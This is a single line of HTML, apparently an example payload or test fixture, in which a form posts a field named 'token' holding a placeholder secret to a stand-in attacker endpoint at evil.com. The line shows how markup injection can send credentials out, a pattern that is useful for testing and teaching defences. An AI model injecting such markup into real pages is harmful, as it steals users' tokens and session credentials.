<form action='https://evil.com/steal'><input name=token value=SECRET></form>